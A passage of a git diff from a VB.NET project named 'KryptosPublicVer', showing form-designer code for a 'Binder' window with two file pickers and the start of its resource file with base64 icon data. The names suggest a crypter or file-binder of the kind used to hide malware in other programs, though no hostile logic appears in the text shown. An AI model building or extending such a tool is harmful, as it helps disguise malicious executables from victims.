Me.CyberGroupBox1.Controls.Add(Me.CyberTextBox1) + Me.CyberGroupBox1.Customization = "" + Me.CyberGroupBox1.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.CyberGroupBox1.Image = Nothing + Me.CyberGroupBox1.Location = New System.Drawing.Point(12, 32) + Me.CyberGroupBox1.Movable = True + Me.CyberGroupBox1.Name = "CyberGroupBox1" + Me.CyberGroupBox1.NoRounding = False + Me.CyberGroupBox1.Sizable = True + Me.CyberGroupBox1.Size = New System.Drawing.Size(260, 85) + Me.CyberGroupBox1.TabIndex = 0 + Me.CyberGroupBox1.Text = "Choose Files" + Me.CyberGroupBox1.TextSub = Nothing + Me.CyberGroupBox1.TransparencyKey = System.Drawing.Color.Empty + ' + 'CyberButton3 + ' + Bloom29.Name = "BackColor" + Bloom29.Value = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(40, Byte), Integer), CType(CType(40, Byte), Integer)) + Bloom30.Name = "TextColor" + Bloom30.Value = System.Drawing.Color.LightBlue + Me.CyberButton3.Colors = New KryptosPublicVer.Bloom() {Bloom29, Bloom30} + Me.CyberButton3.Cursor = System.Windows.Forms.Cursors.Arrow + Me.CyberButton3.Customization = "KCgo/+bYrf8=" + Me.CyberButton3.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.CyberButton3.Image = Nothing + Me.CyberButton3.Location = New System.Drawing.Point(207, 55) + Me.CyberButton3.Name = "CyberButton3" + Me.CyberButton3.NoRounding = False + Me.CyberButton3.Size = New System.Drawing.Size(40, 20) + Me.CyberButton3.TabIndex = 3 + Me.CyberButton3.Text = "..." + Me.CyberButton3.Transparent = False + ' + 'CyberButton2 + ' + Bloom31.Name = "BackColor" + Bloom31.Value = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(40, Byte), Integer), CType(CType(40, Byte), Integer)) + Bloom32.Name = "TextColor" + Bloom32.Value = System.Drawing.Color.LightBlue + Me.CyberButton2.Colors = New KryptosPublicVer.Bloom() {Bloom31, Bloom32} + Me.CyberButton2.Cursor = System.Windows.Forms.Cursors.Arrow + Me.CyberButton2.Customization = "KCgo/+bYrf8=" + Me.CyberButton2.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.CyberButton2.Image = Nothing + Me.CyberButton2.Location = New System.Drawing.Point(207, 29) + Me.CyberButton2.Name = "CyberButton2" + Me.CyberButton2.NoRounding = False + Me.CyberButton2.Size = New System.Drawing.Size(40, 20) + Me.CyberButton2.TabIndex = 2 + Me.CyberButton2.Text = "..." + Me.CyberButton2.Transparent = False + ' + 'CyberTextBox2 + ' + Me.CyberTextBox2.Colors = New KryptosPublicVer.Bloom(-1) {} + Me.CyberTextBox2.Customization = "" + Me.CyberTextBox2.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.CyberTextBox2.Image = Nothing + Me.CyberTextBox2.Location = New System.Drawing.Point(14, 55) + Me.CyberTextBox2.MaximumSize = New System.Drawing.Size(1000, 20) + Me.CyberTextBox2.MinimumSize = New System.Drawing.Size(100, 20) + Me.CyberTextBox2.Multilined = False + Me.CyberTextBox2.Name = "CyberTextBox2" + Me.CyberTextBox2.NoRounding = False + Me.CyberTextBox2.Size = New System.Drawing.Size(187, 20) + Me.CyberTextBox2.TabIndex = 1 + Me.CyberTextBox2.Text = "File #2 " + Me.CyberTextBox2.Transparent = False + ' + 'CyberTextBox1 + ' + Me.CyberTextBox1.Colors = New KryptosPublicVer.Bloom(-1) {} + Me.CyberTextBox1.Customization = "" + Me.CyberTextBox1.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.CyberTextBox1.Image = Nothing + Me.CyberTextBox1.Location = New System.Drawing.Point(14, 29) + Me.CyberTextBox1.MaximumSize = New System.Drawing.Size(1000, 20) + Me.CyberTextBox1.MinimumSize = New System.Drawing.Size(100, 20) + Me.CyberTextBox1.Multilined = False + Me.CyberTextBox1.Name = "CyberTextBox1" + Me.CyberTextBox1.NoRounding = False + Me.CyberTextBox1.Size = New System.Drawing.Size(187, 20) + Me.CyberTextBox1.TabIndex = 0 + Me.CyberTextBox1.Text = "File #1 " + Me.CyberTextBox1.Transparent = False + ' + 'CyberButton4 + ' + Bloom16.Name = "BackColor" + Bloom16.Value = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(40, Byte), Integer), CType(CType(40, Byte), Integer)) + Bloom17.Name = "TextColor" + Bloom17.Value = System.Drawing.Color.LightBlue + Me.CyberButton4.Colors = New KryptosPublicVer.Bloom() {Bloom16, Bloom17} + Me.CyberButton4.Cursor = System.Windows.Forms.Cursors.Arrow + Me.CyberButton4.Customization = "KCgo/+bYrf8=" + Me.CyberButton4.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.CyberButton4.Image = Nothing + Me.CyberButton4.Location = New System.Drawing.Point(207, 53) + Me.CyberButton4.Name = "CyberButton4" + Me.CyberButton4.NoRounding = False + Me.CyberButton4.Size = New System.Drawing.Size(40, 20) + Me.CyberButton4.TabIndex = 4 + Me.CyberButton4.Text = "..." + Me.CyberButton4.Transparent = False + ' + 'Binder + ' + Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) + Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font + Me.ClientSize = New System.Drawing.Size(284, 246) + Me.Controls.Add(Me.CyberTheme1) + Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None + Me.Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon) + Me.Name = "Binder" + Me.CyberTheme1.ResumeLayout(False) + Me.CyberGroupBox2.ResumeLayout(False) + Me.CyberGroupBox1.ResumeLayout(False) + Me.ResumeLayout(False) + + End Sub + Friend WithEvents CyberTheme1 As KryptosPublicVer.CyberTheme + Friend WithEvents CyberButton1 As KryptosPublicVer.CyberButton + Friend WithEvents CyberGroupBox1 As KryptosPublicVer.CyberGroupBox + Friend WithEvents CyberTextBox2 As KryptosPublicVer.CyberTextBox + Friend WithEvents CyberTextBox1 As KryptosPublicVer.CyberTextBox + Friend WithEvents CyberGroupBox2 As KryptosPublicVer.CyberGroupBox + Friend WithEvents CyberTextBox3 As KryptosPublicVer.CyberTextBox + Friend WithEvents CyberCheckBox1 As KryptosPublicVer.CyberCheckBox + Friend WithEvents CyberTopButton1 As KryptosPublicVer.CyberTopButton + Friend WithEvents CyberButton3 As KryptosPublicVer.CyberButton + Friend WithEvents CyberButton2 As KryptosPublicVer.CyberButton + Friend WithEvents CyberButton4 As KryptosPublicVer.CyberButton +End Class diff --git a/scode (KryptosPublicVer/Binder.resx b/scode (KryptosPublicVer/Binder.resx new file mode 100644 index 0000000..6c3f31f --- /dev/null +++ b/scode (KryptosPublicVer/Binder.resx @@ -0,0 +1,3356 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + 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 + 